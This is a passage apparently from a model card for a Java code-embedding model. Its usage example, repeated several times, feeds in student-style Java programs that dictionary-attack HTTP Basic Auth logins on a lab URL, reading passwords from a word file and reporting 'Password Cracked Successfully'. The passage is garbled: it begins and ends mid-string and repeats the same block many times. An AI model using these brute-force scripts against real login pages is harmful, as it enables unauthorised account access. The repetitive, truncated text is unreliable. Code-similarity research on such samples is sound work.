 byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 